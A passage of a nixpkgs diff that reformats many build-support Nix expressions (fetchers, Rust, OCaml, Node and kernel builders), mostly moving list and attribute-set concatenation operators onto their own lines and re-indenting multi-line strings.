-            echo "Check your includes and excludes." 1>&2
-            echo "Normalized patch file was:" 1>&2
-            cat "$tmpfile" 1>&2
-            exit 1
-          fi
-        ''
-        + lib.optionalString revert ''
-          interdiff "$out" /dev/null > "$tmpfile"
-          mv "$tmpfile" "$out"
-        ''
-        + postFetch;
+        if [ ! -s "$tmpfile" ]; then
+          echo "error: Normalized patch '$tmpfile' is empty (while the fetched file was not)!" 1>&2
+          echo "Did you maybe fetch a HTML representation of a patch instead of a raw patch?" 1>&2
+          echo "Fetched file was:" 1>&2
+          cat "$out" 1>&2
+          exit 1
+        fi
+
+        filterdiff \
+          -p1 \
+          ${builtins.toString (builtins.map (x: "-x ${lib.escapeShellArg x}") excludes)} \
+          ${builtins.toString (builtins.map (x: "-i ${lib.escapeShellArg x}") includes)} \
+          "$tmpfile" > "$out"
+
+        if [ ! -s "$out" ]; then
+          echo "error: Filtered patch '$out' is empty (while the original patch file was not)!" 1>&2
+          echo "Check your includes and excludes." 1>&2
+          echo "Normalized patch file was:" 1>&2
+          cat "$tmpfile" 1>&2
+          exit 1
+        fi
+      ''
+      + lib.optionalString revert ''
+        interdiff "$out" /dev/null > "$tmpfile"
+        mv "$tmpfile" "$out"
+      ''
+      + postFetch;
     }
     // builtins.removeAttrs args [
       "relative"
diff --git a/pkgs/build-support/fetchrepoproject/default.nix b/pkgs/build-support/fetchrepoproject/default.nix
index fb9ac8588464..5f10c7eebf45 100644
--- a/pkgs/build-support/fetchrepoproject/default.nix
+++ b/pkgs/build-support/fetchrepoproject/default.nix
@@ -46,7 +46,8 @@ lib.fetchers.withNormalizedHash { } (
       "--depth=1"
       (optionalString createMirror "--mirror")
       (optionalString useArchive "--archive")
-    ] ++ extraRepoInitFlags;
+    ]
+    ++ extraRepoInitFlags;
 
     local_manifests = copyPathsToStore localManifests;
 
diff --git a/pkgs/build-support/fetchsourcehut/default.nix b/pkgs/build-support/fetchsourcehut/default.nix
index a8f645c351b3..e8931ef88bac 100644
--- a/pkgs/build-support/fetchsourcehut/default.nix
+++ b/pkgs/build-support/fetchsourcehut/default.nix
@@ -35,19 +35,18 @@ makeOverridable (
   let
     urlFor = resource: "https://${resource}.${domain}/${owner}/${repo}";
     baseUrl = urlFor vc;
-    baseArgs =
-      {
-        inherit name;
-      }
-      // removeAttrs args [
-        "owner"
-        "repo"
-        "rev"
-        "domain"
-        "vc"
-        "name"
-        "fetchSubmodules"
-      ];
+    baseArgs = {
+      inherit name;
+    }
+    // removeAttrs args [
+      "owner"
+      "repo"
+      "rev"
+      "domain"
+      "vc"
+      "name"
+      "fetchSubmodules"
+    ];
     vcArgs = baseArgs // {
       inherit rev;
       url = baseUrl;
diff --git a/pkgs/build-support/fetchsvn/default.nix b/pkgs/build-support/fetchsvn/default.nix
index 70df66af82ab..917e2c18a8a7 100644
--- a/pkgs/build-support/fetchsvn/default.nix
+++ b/pkgs/build-support/fetchsvn/default.nix
@@ -59,7 +59,8 @@ else
       cacert
       subversion
       glibcLocales
-    ] ++ lib.optional sshSupport openssh;
+    ]
+    ++ lib.optional sshSupport openssh;
 
     SVN_SSH = if sshSupport then "${buildPackages.openssh}/bin/ssh" else null;
 
diff --git a/pkgs/build-support/fetchtorrent/default.nix b/pkgs/build-support/fetchtorrent/default.nix
index 6e154a076500..91bd35012319 100644
--- a/pkgs/build-support/fetchtorrent/default.nix
+++ b/pkgs/build-support/fetchtorrent/default.nix
@@ -47,16 +47,17 @@ in
 runCommand name
   {
     inherit meta;
-    nativeBuildInputs =
-      [ cacert ]
-      ++ (
-        if (backend == "transmission") then
-          [ transmission_3_noSystemd ]
-        else if (backend == "rqbit") then
-          [ rqbit ]
-        else
-          throw "rqbit or transmission are the only available backends for fetchtorrent"
-      );
+    nativeBuildInputs = [
+      cacert
+    ]
+    ++ (
+      if (backend == "transmission") then
+        [ transmission_3_noSystemd ]
+      else if (backend == "rqbit") then
+        [ rqbit ]
+      else
+        throw "rqbit or transmission are the only available backends for fetchtorrent"
+    );
     outputHashAlgo = if hash != "" then null else "sha256";
     outputHash = hash;
     outputHashMode = if recursiveHash then "recursive" else "flat";
diff --git a/pkgs/build-support/fetchurl/default.nix b/pkgs/build-support/fetchurl/default.nix
index c0e53ba637a7..55dbe845376e 100644
--- a/pkgs/build-support/fetchurl/default.nix
+++ b/pkgs/build-support/fetchurl/default.nix
@@ -273,6 +273,7 @@ stdenvNoCC.mkDerivation (
     inherit meta;
     passthru = {
       inherit url;
-    } // passthru;
+    }
+    // passthru;
   }
 )
diff --git a/pkgs/build-support/fetchzip/default.nix b/pkgs/build-support/fetchzip/default.nix
index dfd632192586..3cff5401ee82 100644
--- a/pkgs/build-support/fetchzip/default.nix
+++ b/pkgs/build-support/fetchzip/default.nix
@@ -61,41 +61,40 @@ fetchurl (
       ]
       ++ nativeBuildInputs;
 
-    postFetch =
-      ''
-        unpackDir="$TMPDIR/unpack"
-        mkdir "$unpackDir"
-        cd "$unpackDir"
+    postFetch = ''
+      unpackDir="$TMPDIR/unpack"
+      mkdir "$unpackDir"
+      cd "$unpackDir"
 
-        renamed="$TMPDIR/${tmpFilename}"
-        mv "$downloadedFile" "$renamed"
-        unpackFile "$renamed"
-        chmod -R +w "$unpackDir"
-      ''
-      + (
-        if stripRoot then
-          ''
-            if [ $(ls -A "$unpackDir" | wc -l) != 1 ]; then
-              echo "error: zip file must contain a single file or directory."
-              echo "hint: Pass stripRoot=false; to fetchzip to assume flat list of files."
-              exit 1
-            fi
-            fn=$(cd "$unpackDir" && ls -A)
-            if [ -f "$unpackDir/$fn" ]; then
-              mkdir $out
-            fi
-            mv "$unpackDir/$fn" "$out"
-          ''
-        else
-          ''
-            mv "$unpackDir" "$out"
-          ''
-      )
-      + ''
-        ${postFetch}
-        ${extraPostFetch}
-        chmod 755 "$out"
-      '';
+      renamed="$TMPDIR/${tmpFilename}"
+      mv "$downloadedFile" "$renamed"
+      unpackFile "$renamed"
+      chmod -R +w "$unpackDir"
+    ''
+    + (
+      if stripRoot then
+        ''
+          if [ $(ls -A "$unpackDir" | wc -l) != 1 ]; then
+            echo "error: zip file must contain a single file or directory."
+            echo "hint: Pass stripRoot=false; to fetchzip to assume flat list of files."
+            exit 1
+          fi
+          fn=$(cd "$unpackDir" && ls -A)
+          if [ -f "$unpackDir/$fn" ]; then
+            mkdir $out
+          fi
+          mv "$unpackDir/$fn" "$out"
+        ''
+      else
+        ''
+          mv "$unpackDir" "$out"
+        ''
+    )
+    + ''
+      ${postFetch}
+      ${extraPostFetch}
+      chmod 755 "$out"
+    '';
     # ^ Remove non-owner write permissions
     # Fixes https://github.com/NixOS/nixpkgs/issues/38649
   }
diff --git a/pkgs/build-support/go/module.nix b/pkgs/build-support/go/module.nix
index 9b692b4f6dec..5c9b7a84f8a3 100644
--- a/pkgs/build-support/go/module.nix
+++ b/pkgs/build-support/go/module.nix
@@ -394,11 +394,13 @@ lib.extendMkDerivation {
         # `passthru.overrideModAttrs` will be overridden
         # when users want to override `goModules`.
         overrideModAttrs = lib.toExtension overrideModAttrs;
-      } // passthru;
+      }
+      // passthru;
 
       meta = {
         # Add default meta information.
         platforms = go.meta.platforms or lib.platforms.all;
-      } // meta;
+      }
+      // meta;
     };
 }
diff --git a/pkgs/build-support/kernel/compress-firmware.nix b/pkgs/build-support/kernel/compress-firmware.nix
index 16d209aed26e..5eadcc9df589 100644
--- a/pkgs/build-support/kernel/compress-firmware.nix
+++ b/pkgs/build-support/kernel/compress-firmware.nix
@@ -26,7 +26,8 @@ let
   args = {
     allowedRequisites = [ ];
     inherit (compressor) nativeBuildInputs;
-  } // lib.optionalAttrs (firmware ? meta) { inherit (firmware) meta; };
+  }
+  // lib.optionalAttrs (firmware ? meta) { inherit (firmware) meta; };
 in
 
 runCommand "${firmware.name}-${type}" args ''
diff --git a/pkgs/build-support/kernel/make-initrd-ng.nix b/pkgs/build-support/kernel/make-initrd-ng.nix
index da2941cdd6f2..b5cfc55c695e 100644
--- a/pkgs/build-support/kernel/make-initrd-ng.nix
+++ b/pkgs/build-support/kernel/make-initrd-ng.nix
@@ -96,7 +96,8 @@ runCommand name
     nativeBuildInputs = [
       makeInitrdNGTool
       cpio
-    ] ++ lib.optional makeUInitrd ubootTools;
+    ]
+    ++ lib.optional makeUInitrd ubootTools;
   })
   ''
     mkdir -p ./root/var/empty
diff --git a/pkgs/build-support/kernel/make-initrd.nix b/pkgs/build-support/kernel/make-initrd.nix
index 946db43afdee..4b31bf225a48 100644
--- a/pkgs/build-support/kernel/make-initrd.nix
+++ b/pkgs/build-support/kernel/make-initrd.nix
@@ -101,7 +101,8 @@ stdenvNoCC.mkDerivation (
 
     nativeBuildInputs = [
       cpio
-    ] ++ lib.optional makeUInitrd ubootTools;
+    ]
+    ++ lib.optional makeUInitrd ubootTools;
 
     compress = "${_compressorExecutable} ${lib.escapeShellArgs _compressorArgsReal}";
 
diff --git a/pkgs/build-support/make-desktopitem/default.nix b/pkgs/build-support/make-desktopitem/default.nix
index bfbab0ca51a5..15321131ca64 100644
--- a/pkgs/build-support/make-desktopitem/default.nix
+++ b/pkgs/build-support/make-desktopitem/default.nix
@@ -156,7 +156,8 @@ lib.makeOverridable (
       "URL" = url;
       "PrefersNonDefaultGPU" = boolOrNullToString prefersNonDefaultGPU;
       # "SingleMainWindow" = boolOrNullToString singleMainWindow;
-    } // extraConfig;
+    }
+    // extraConfig;
 
     # Render a single attribute pair to a Key=Value line.
     # FIXME: this isn't entirely correct for arbitrary strings, as some characters
diff --git a/pkgs/build-support/node/build-npm-package/default.nix b/pkgs/build-support/node/build-npm-package/default.nix
index 69181aee399c..3383f14ba5f7 100644
--- a/pkgs/build-support/node/build-npm-package/default.nix
+++ b/pkgs/build-support/node/build-npm-package/default.nix
@@ -111,7 +111,8 @@ lib.extendMkDerivation {
           }
           .${stdenv.hostPlatform.parsed.cpu.name} or stdenv.hostPlatform.parsed.cpu.name;
         npm_config_platform = stdenv.hostPlatform.parsed.kernel.name;
-      } // (args.env or { });
+      }
+      // (args.env or { });
 
       meta = (args.meta or { }) // {
         platforms = args.meta.platforms or nodejs.meta.platforms;
diff --git a/pkgs/build-support/node/import-npm-lock/default.nix b/pkgs/build-support/node/import-npm-lock/default.nix
index d80643d60a32..5d0bbc5e01a4 100644
--- a/pkgs/build-support/node/import-npm-lock/default.nix
+++ b/pkgs/build-support/node/import-npm-lock/default.nix
@@ -208,19 +208,20 @@ lib.fix (self: {
           nodejs
           nodejs.passthru.python
           hooks.npmConfigHook
-        ] ++ derivationArgs.nativeBuildInputs or [ ];
+        ]
+        ++ derivationArgs.nativeBuildInputs or [ ];
 
         passAsFile = [
           "package"
           "packageLock"
-        ] ++ derivationArgs.passAsFile or [ ];
+        ]
+        ++ derivationArgs.passAsFile or [ ];
 
-        postPatch =
-          ''
-            cp --no-preserve=mode "$packagePath" package.json
-            cp --no-preserve=mode "$packageLockPath" package-lock.json
-          ''
-          + derivationArgs.postPatch or "";
+        postPatch = ''
+          cp --no-preserve=mode "$packagePath" package.json
+          cp --no-preserve=mode "$packageLockPath" package-lock.json
+        ''
+        + derivationArgs.postPatch or "";
       }
     );
 
diff --git a/pkgs/build-support/ocaml/dune.nix b/pkgs/build-support/ocaml/dune.nix
index 1d77d1c1e9b6..cc550775dd3e 100644
--- a/pkgs/build-support/ocaml/dune.nix
+++ b/pkgs/build-support/ocaml/dune.nix
@@ -78,7 +78,8 @@ else
         ocaml
         Dune
         findlib
-      ] ++ nativeBuildInputs;
+      ]
+      ++ nativeBuildInputs;
 
       meta = (args.meta or { }) // {
         platforms = args.meta.platforms or ocaml.meta.platforms;
diff --git a/pkgs/build-support/ocaml/oasis.nix b/pkgs/build-support/ocaml/oasis.nix
index f4319fcd99ce..269a433caad4 100644
--- a/pkgs/build-support/ocaml/oasis.nix
+++ b/pkgs/build-support/ocaml/oasis.nix
@@ -34,7 +34,8 @@ else
         findlib
         ocamlbuild
         ocaml_oasis
-      ] ++ nativeBuildInputs;
+      ]
+      ++ nativeBuildInputs;
 
       inherit createFindlibDestdir;
       inherit dontStrip;
diff --git a/pkgs/build-support/ocaml/topkg.nix b/pkgs/build-support/ocaml/topkg.nix
index 4b387b16ed84..4c2d5d26d6c6 100644
--- a/pkgs/build-support/ocaml/topkg.nix
+++ b/pkgs/build-support/ocaml/topkg.nix
@@ -42,7 +42,8 @@ lib.throwIf (args ? minimalOCamlVersion && lib.versionOlder ocaml.version args.m
         findlib
         ocamlbuild
         topkg
-      ] ++ nativeBuildInputs;
+      ]
+      ++ nativeBuildInputs;
       buildInputs = [ topkg ] ++ buildInputs;
 
       meta = (args.meta or { }) // {
diff --git a/pkgs/build-support/php/build-pecl.nix b/pkgs/build-support/php/build-pecl.nix
index 79faa2c7700a..9c20b01880b3 100644
--- a/pkgs/build-support/php/build-pecl.nix
+++ b/pkgs/build-support/php/build-pecl.nix
@@ -46,7 +46,8 @@ stdenv.mkDerivation (
       php
       autoreconfHook
       re2c
-    ] ++ nativeBuildInputs;
+    ]
+    ++ nativeBuildInputs;
     buildInputs = [ php ] ++ peclDeps ++ buildInputs;
 
     makeFlags = [ "EXTENSION_DIR=$(out)/lib/php/extensions" ] ++ makeFlags;
diff --git a/pkgs/build-support/pkg-config-wrapper/default.nix b/pkgs/build-support/pkg-config-wrapper/default.nix
index da77765f82d3..cb0eb5635bee 100644
--- a/pkgs/build-support/pkg-config-wrapper/default.nix
+++ b/pkgs/build-support/pkg-config-wrapper/default.nix
@@ -61,31 +61,30 @@ stdenv.mkDerivation {
   # Additional flags passed to pkg-config.
   env.addFlags = optionalString stdenv.targetPlatform.isStatic "--static";
 
-  installPhase =
-    ''
-      mkdir -p $out/bin $out/nix-support
+  installPhase = ''
+    mkdir -p $out/bin $out/nix-support
 
-      wrap() {
-        local dst="$1"
-        local wrapper="$2"
-        export prog="$3"
-        substituteAll "$wrapper" "$out/bin/$dst"
-        chmod +x "$out/bin/$dst"
-      }
+    wrap() {
+      local dst="$1"
+      local wrapper="$2"
+      export prog="$3"
+      substituteAll "$wrapper" "$out/bin/$dst"
+      chmod +x "$out/bin/$dst"
+    }
 
-      echo $pkg-config > $out/nix-support/orig-pkg-config
+    echo $pkg-config > $out/nix-support/orig-pkg-config
 
-      wrap ${wrapperBinName} ${./pkg-config-wrapper.sh} "${getBin pkg-config}/bin/${baseBinName}"
-    ''
-    # symlink in share for autoconf to find macros
+    wrap ${wrapperBinName} ${./pkg-config-wrapper.sh} "${getBin pkg-config}/bin/${baseBinName}"
+  ''
+  # symlink in share for autoconf to find macros
 
-    # TODO(@Ericson2314): in the future just make the unwrapped pkg-config a
-    # propagated dep once we can rely on downstream deps coming first in
-    # search paths. (https://github.com/NixOS/nixpkgs/pull/31414 took a crack
-    # at this.)
-    + ''
-      ln -s ${pkg-config}/share $out/share
-    '';
+  # TODO(@Ericson2314): in the future just make the unwrapped pkg-config a
+  # propagated dep once we can rely on downstream deps coming first in
+  # search paths. (https://github.com/NixOS/nixpkgs/pull/31414 took a crack
+  # at this.)
+  + ''
+    ln -s ${pkg-config}/share $out/share
+  '';
 
   setupHooks = [
     ../setup-hooks/role.bash
diff --git a/pkgs/build-support/portable-service/default.nix b/pkgs/build-support/portable-service/default.nix
index 7fd592df3b31..e4afd34b3a2e 100644
--- a/pkgs/build-support/portable-service/default.nix
+++ b/pkgs/build-support/portable-service/default.nix
@@ -64,27 +64,26 @@ let
       pname = "root-fs-scaffold";
       inherit version;
 
-      buildCommand =
-        ''
-          # scaffold a file system layout
-          mkdir -p $out/etc/systemd/system $out/proc $out/sys $out/dev $out/run \
-                   $out/tmp $out/var/tmp $out/var/lib $out/var/cache $out/var/log
+      buildCommand = ''
+        # scaffold a file system layout
+        mkdir -p $out/etc/systemd/system $out/proc $out/sys $out/dev $out/run \
+                 $out/tmp $out/var/tmp $out/var/lib $out/var/cache $out/var/log
 
-          # empty files to mount over with host's version
-          touch $out/etc/resolv.conf $out/etc/machine-id
+        # empty files to mount over with host's version
+        touch $out/etc/resolv.conf $out/etc/machine-id
 
-          # required for portable services
-          cp ${os-release} $out/etc/os-release
+        # required for portable services
+        cp ${os-release} $out/etc/os-release
+      ''
+      # units **must** be copied to /etc/systemd/system/
+      + (lib.concatMapStringsSep "\n" (u: "cp ${u} $out/etc/systemd/system/${u.name};") units)
+      + (lib.concatMapStringsSep "\n" (
+        { object, symlink }:
         ''
-        # units **must** be copied to /etc/systemd/system/
-        + (lib.concatMapStringsSep "\n" (u: "cp ${u} $out/etc/systemd/system/${u.name};") units)
-        + (lib.concatMapStringsSep "\n" (
-          { object, symlink }:
-          ''
-            mkdir -p $(dirname $out/${symlink});
-            ln -s ${object} $out/${symlink};
-          ''
-        ) symlinks);
+          mkdir -p $(dirname $out/${symlink});
+          ln -s ${object} $out/${symlink};
+        ''
+      ) symlinks);
     };
 in
 
diff --git a/pkgs/build-support/release/nix-build.nix b/pkgs/build-support/release/nix-build.nix
index 6686aee601b0..2c6d041f7684 100644
--- a/pkgs/build-support/release/nix-build.nix
+++ b/pkgs/build-support/release/nix-build.nix
@@ -72,18 +72,16 @@ stdenv.mkDerivation (
       fi
     '';
 
-    failureHook =
-      (lib.optionalString (failureHook != null) failureHook)
-      + ''
-        if test -n "$succeedOnFailure"; then
-            if test -n "$keepBuildDirectory"; then
-                KEEPBUILDDIR="$out/`basename $TMPDIR`"
-                echo "Copying build directory to $KEEPBUILDDIR"
-                mkdir -p $KEEPBUILDDIR
-                cp -R "$TMPDIR/"* $KEEPBUILDDIR
-            fi
-        fi
-      '';
+    failureHook = (lib.optionalString (failureHook != null) failureHook) + ''
+      if test -n "$succeedOnFailure"; then
+          if test -n "$keepBuildDirectory"; then
+              KEEPBUILDDIR="$out/`basename $TMPDIR`"
+              echo "Copying build directory to $KEEPBUILDDIR"
+              mkdir -p $KEEPBUILDDIR
+              cp -R "$TMPDIR/"* $KEEPBUILDDIR
+          fi
+      fi
+    '';
   }
 
   // removeAttrs args [ "lib" ] # Propagating lib causes the evaluation to fail, because lib is a function that can't be converted to a string
diff --git a/pkgs/build-support/remove-references-to/default.nix b/pkgs/build-support/remove-references-to/default.nix
index 794c44572265..6ae3e3125c85 100644
--- a/pkgs/build-support/remove-references-to/default.nix
+++ b/pkgs/build-support/remove-references-to/default.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation {
   env = {
     inherit (builtins) storeDir;
     shell = lib.getBin shell + (shell.shellPath or "");
-  } // lib.optionalAttrs darwinCodeSign { inherit signingUtils; };
+  }
+  // lib.optionalAttrs darwinCodeSign { inherit signingUtils; };
 
   meta.mainProgram = "remove-references-to";
 }
diff --git a/pkgs/build-support/rust/build-rust-crate/build-crate.nix b/pkgs/build-support/rust/build-rust-crate/build-crate.nix
index 32ab0fd55c3b..24d51ce11382 100644
--- a/pkgs/build-support/rust/build-rust-crate/build-crate.nix
+++ b/pkgs/build-support/rust/build-rust-crate/build-crate.nix
@@ -27,32 +27,31 @@
 }:
 
 let
-  baseRustcOpts =
-    [
-      (if release then "-C opt-level=3" else "-C debuginfo=2")
-      "-C codegen-units=${toString codegenUnits}"
-      "--remap-path-prefix=$NIX_BUILD_TOP=/"
-      (mkRustcDepArgs dependencies crateRenames)
-      (mkRustcFeatureArgs crateFeatures)
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--target"
-      stdenv.hostPlatform.rust.rustcTargetSpec
-    ]
-    ++ lib.optionals (needUnstableCLI dependencies) [
-      "-Z"
-      "unstable-options"
-    ]
-    ++ extraRustcOpts
-    # since rustc 1.42 the "proc_macro" crate is part of the default crate prelude
-    # https://github.com/rust-lang/cargo/commit/4d64eb99a4#diff-7f98585dbf9d30aa100c8318e2c77e79R1021-R1022
-    ++ lib.optional (lib.elem "proc-macro" crateType) "--extern proc_macro"
-    ++
-      lib.optional (stdenv.hostPlatform.linker == "lld" && rustc ? llvmPackages.lld) # Needed when building for targets that use lld. e.g. 'wasm32-unknown-unknown'
-        "-C linker=${rustc.llvmPackages.lld}/bin/lld"
-    ++ lib.optional (
-      stdenv.hasCC && stdenv.hostPlatform.linker != "lld"
-    ) "-C linker=${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc";
+  baseRustcOpts = [
+    (if release then "-C opt-level=3" else "-C debuginfo=2")
+    "-C codegen-units=${toString codegenUnits}"
+    "--remap-path-prefix=$NIX_BUILD_TOP=/"
+    (mkRustcDepArgs dependencies crateRenames)
+    (mkRustcFeatureArgs crateFeatures)
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--target"
+    stdenv.hostPlatform.rust.rustcTargetSpec
+  ]
+  ++ lib.optionals (needUnstableCLI dependencies) [
+    "-Z"
+    "unstable-options"
+  ]
+  ++ extraRustcOpts
+  # since rustc 1.42 the "proc_macro" crate is part of the default crate prelude
+  # https://github.com/rust-lang/cargo/commit/4d64eb99a4#diff-7f98585dbf9d30aa100c8318e2c77e79R1021-R1022
+  ++ lib.optional (lib.elem "proc-macro" crateType) "--extern proc_macro"
+  ++
+    lib.optional (stdenv.hostPlatform.linker == "lld" && rustc ? llvmPackages.lld) # Needed when building for targets that use lld. e.g. 'wasm32-unknown-unknown'
+      "-C linker=${rustc.llvmPackages.lld}/bin/lld"
+  ++ lib.optional (
+    stdenv.hasCC && stdenv.hostPlatform.linker != "lld"
+  ) "-C linker=${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc";
   rustcMeta = "-C metadata=${metadata} -C extra-filename=-${metadata}";
 
   # build the final rustc arguments that can be different between different
diff --git a/pkgs/build-support/rust/build-rust-crate/default.nix b/pkgs/build-support/rust/build-rust-crate/default.nix
index f7cd3a421eb9..caa096deaaa1 100644
--- a/pkgs/build-support/rust/build-rust-crate/default.nix
+++ b/pkgs/build-support/rust/build-rust-crate/default.nix
@@ -297,16 +297,15 @@ lib.makeOverridable
         name = "rust_${crate.crateName}-${crate.version}${lib.optionalString buildTests_ "-test"}";
         version = crate.version;
         depsBuildBuild = [ pkgsBuildBuild.stdenv.cc ];
-        nativeBuildInputs =
-          [
-            rust
-            cargo
-            jq
-          ]
-          ++ lib.optionals stdenv.hasCC [ stdenv.cc ]
-          ++ lib.optionals stdenv.buildPlatform.isDarwin [ libiconv ]
-          ++ (crate.nativeBuildInputs or [ ])
-          ++ nativeBuildInputs_;
+        nativeBuildInputs = [
+          rust
+          cargo
+          jq
+        ]
+        ++ lib.optionals stdenv.hasCC [ stdenv.cc ]
+        ++ lib.optionals stdenv.buildPlatform.isDarwin [ libiconv ]
+        ++ (crate.nativeBuildInputs or [ ])
+        ++ nativeBuildInputs_;
         buildInputs =
           lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ]
           ++ (crate.buildInputs or [ ])
diff --git a/pkgs/build-support/rust/build-rust-crate/test/default.nix b/pkgs/build-support/rust/build-rust-crate/test/default.nix
index f4a417a6a8e6..b0551c314638 100644
--- a/pkgs/build-support/rust/build-rust-crate/test/default.nix
+++ b/pkgs/build-support/rust/build-rust-crate/test/default.nix
@@ -20,7 +20,8 @@ let
         crateName = "nixtestcrate";
         version = "0.1.0";
         authors = [ "Test <test@example.com>" ];
-      } // args;
+      }
+      // args;
     in
     buildRustCrate p;
   mkHostCrate = mkCrate buildRustCrate;
@@ -766,15 +767,14 @@ rec {
           ];
           src = mkBin "src/foobar.rs";
         };
-        expectedFiles =
-          [
-            "./bin/test_binary1"
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isDarwin [
-            # On Darwin, the debug symbols are in a separate directory.
-            "./bin/test_binary1.dSYM/Contents/Info.plist"
-            "./bin/test_binary1.dSYM/Contents/Resources/DWARF/test_binary1"
-          ];
+        expectedFiles = [
+          "./bin/test_binary1"
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isDarwin [
+          # On Darwin, the debug symbols are in a separate directory.
+          "./bin/test_binary1.dSYM/Contents/Info.plist"
+          "./bin/test_binary1.dSYM/Contents/Resources/DWARF/test_binary1"
+        ];
       };
 
       crateBinNoPath1Outputs = assertOutputs {
diff --git a/pkgs/build-support/rust/build-rust-package/default.nix b/pkgs/build-support/rust/build-rust-package/default.nix
index 2d215a4eb010..bc7857c8672e 100644
--- a/pkgs/build-support/rust/build-rust-package/default.nix
+++ b/pkgs/build-support/rust/build-rust-package/default.nix
@@ -144,13 +144,12 @@ lib.extendMkDerivation {
 
       PKG_CONFIG_ALLOW_CROSS = if stdenv.buildPlatform != stdenv.hostPlatform then 1 else 0;
 
-      postUnpack =
-        ''
-          eval "$cargoDepsHook"
+      postUnpack = ''
+        eval "$cargoDepsHook"
 
-          export RUST_LOG=${logLevel}
-        ''
-        + (args.postUnpack or "");
+        export RUST_LOG=${logLevel}
+      ''
+      + (args.postUnpack or "");
 
       configurePhase =
         args.configurePhase or ''
diff --git a/pkgs/build-support/rust/default-crate-overrides.nix b/pkgs/build-support/rust/default-crate-overrides.nix
index cee76b967d3b..58bd218b68de 100644
--- a/pkgs/build-support/rust/default-crate-overrides.nix
+++ b/pkgs/build-support/rust/default-crate-overrides.nix
@@ -100,16 +100,15 @@
   };
 
   evdev-sys = attrs: {
-    nativeBuildInputs =
-      [
-        pkg-config
-      ]
-      ++ lib.optionals (stdenv.buildPlatform.config != stdenv.hostPlatform.config) [
-        python3
-        autoconf
-        automake
-        libtool
-      ];
+    nativeBuildInputs = [
+      pkg-config
+    ]
+    ++ lib.optionals (stdenv.buildPlatform.config != stdenv.hostPlatform.config) [
+      python3
+      autoconf
+      automake
+      libtool
+    ];
     buildInputs = [ libevdev ];
 
     # This prevents libevdev's build.rs from trying to `git fetch` when HOST!=TARGET
@@ -397,14 +396,12 @@
   proc-macro-crate =
     attrs:
     lib.optionalAttrs (lib.versionAtLeast attrs.version "2.0") {
-      postPatch =
-        (attrs.postPatch or "")
-        + ''
-          substituteInPlace \
-            src/lib.rs \
-            --replace-fail \
-            'env::var("CARGO")' \
-            'Ok::<_, core::convert::Infallible>("${lib.getBin buildPackages.cargo}/bin/cargo")'
-        '';
+      postPatch = (attrs.postPatch or "") + ''
+        substituteInPlace \
+          src/lib.rs \
+          --replace-fail \
+          'env::var("CARGO")' \
+          'Ok::<_, core::convert::Infallible>("${lib.getBin buildPackages.cargo}/bin/cargo")'
+      '';
     };
 }
diff --git a/pkgs/build-support/rust/fetch-cargo-vendor.nix b/pkgs/build-support/rust/fetch-cargo-vendor.nix
index 5f5a16440778..ff9b8a87ebbf 100644
--- a/pkgs/build-support/rust/fetch-cargo-vendor.nix
+++ b/pkgs/build-support/rust/fetch-cargo-vendor.nix
@@ -61,7 +61,8 @@ let
         # break loop of nix-prefetch-git -> git-lfs -> asciidoctor -> ruby (yjit) -> fetchCargoVendor -> nix-prefetch-git
         # Cargo does not currently handle git-lfs: https://github.com/rust-lang/cargo/issues/9692
         (nix-prefetch-git.override { git-lfs = null; })
-      ] ++ nativeBuildInputs;
+      ]
+      ++ nativeBuildInputs;
 
       buildPhase = ''
         runHook preBuild
diff --git a/pkgs/build-support/rust/hooks/default.nix b/pkgs/build-support/rust/hooks/default.nix
index 21278ec382d1..1cec5064863c 100644
--- a/pkgs/build-support/rust/hooks/default.nix
+++ b/pkgs/build-support/rust/hooks/default.nix
@@ -30,13 +30,12 @@
         inherit (rust.envVars) setEnv;
 
       };
-      passthru.tests =
-        {
-          test = tests.rust-hooks.cargoBuildHook;
-        }
-        // lib.optionalAttrs (stdenv.isLinux) {
-          testCross = pkgsCross.riscv64.tests.rust-hooks.cargoBuildHook;
-        };
+      passthru.tests = {
+        test = tests.rust-hooks.cargoBuildHook;
+      }
+      // lib.optionalAttrs (stdenv.isLinux) {
+        testCross = pkgsCross.riscv64.tests.rust-hooks.cargoBuildHook;
+      };
     } ./cargo-build-hook.sh
   ) { };
 
@@ -48,13 +47,12 @@
         inherit (stdenv.targetPlatform.rust) rustcTarget;
         inherit (rust.envVars) setEnv;
       };
-      passthru.tests =
-        {
-          test = tests.rust-hooks.cargoCheckHook;
-        }
-        // lib.optionalAttrs (stdenv.isLinux) {
-          testCross = pkgsCross.riscv64.tests.rust-hooks.cargoCheckHook;
-        };
+      passthru.tests = {
+        test = tests.rust-hooks.cargoCheckHook;
+      }
+      // lib.optionalAttrs (stdenv.isLinux) {
+        testCross = pkgsCross.riscv64.tests.rust-hooks.cargoCheckHook;
+      };
     } ./cargo-check-hook.sh
   ) { };
 
@@ -65,13 +63,12 @@
       substitutions = {
         targetSubdirectory = target;
       };
-      passthru.tests =
-        {
-          test = tests.rust-hooks.cargoInstallHook;
-        }
-        // lib.optionalAttrs (stdenv.isLinux) {
-          testCross = pkgsCross.riscv64.tests.rust-hooks.cargoInstallHook;
-        };
+      passthru.tests = {
+        test = tests.rust-hooks.cargoInstallHook;
+      }
+      // lib.optionalAttrs (stdenv.isLinux) {
+        testCross = pkgsCross.riscv64.tests.rust-hooks.cargoInstallHook;
+      };
     } ./cargo-install-hook.sh
   ) { };
 
@@ -83,13 +80,12 @@
       substitutions = {
         inherit (stdenv.targetPlatform.rust) rustcTarget;
       };
-      passthru.tests =
-        {
-          test = tests.rust-hooks.cargoNextestHook;
-        }
-        // lib.optionalAttrs (stdenv.isLinux) {
-          testCross = pkgsCross.riscv64.tests.rust-hooks.cargoNextestHook;
-        };
+      passthru.tests = {
+        test = tests.rust-hooks.cargoNextestHook;
+      }
+      // lib.optionalAttrs (stdenv.isLinux) {
+        testCross = pkgsCross.riscv64.tests.rust-hooks.cargoNextestHook;
+      };
     } ./cargo-nextest-hook.sh
   ) { };
 
@@ -118,13 +114,12 @@
             }crt-static" ]
           '';
       };
-      passthru.tests =
-        {
-          test = tests.rust-hooks.cargoSetupHook;
-        }
-        // lib.optionalAttrs (stdenv.isLinux) {
